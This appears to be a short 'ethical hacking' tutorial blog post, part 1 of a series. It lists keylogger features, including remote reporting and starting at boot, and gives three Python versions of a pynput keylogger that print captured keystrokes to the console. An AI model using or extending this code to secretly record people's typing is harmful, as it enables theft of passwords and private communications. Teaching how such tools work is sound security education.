Python Ethical Hacking - KEYLOGGER(1)
A program that records keys pressed on the keyboard.
Common features:
Store logs locally(local keyloggers).
- Report logs to an email or remote server(remote keyloggers).
- Log screenshots.
- Start with system startup.
Third-Party Module: pynput
pip install pynput
The simple Python Keylogger code:
#!/usr/bin/env python import pynput.keyboard def process_key_press(key): print(key) keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press) with keyboard_listener: keyboard_listener.join()
Using global variables to log all the key log.
#!/usr/bin/env python import pynput.keyboard log = "" def process_key_press(key): global log log = log + str(key) print(log) keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press) with keyboard_listener: keyboard_listener.join()
Logging special Keys with polishing the Python code.
#!/usr/bin/env python import pynput.keyboard log = "" def process_key_press(key): global log try: log = log + str(key.char) except AttributeError: if key == key.space: log = log + " " else: log = log + " " + str(key) + " " print(log) keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press) with keyboard_listener: keyboard_listener.join()
相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。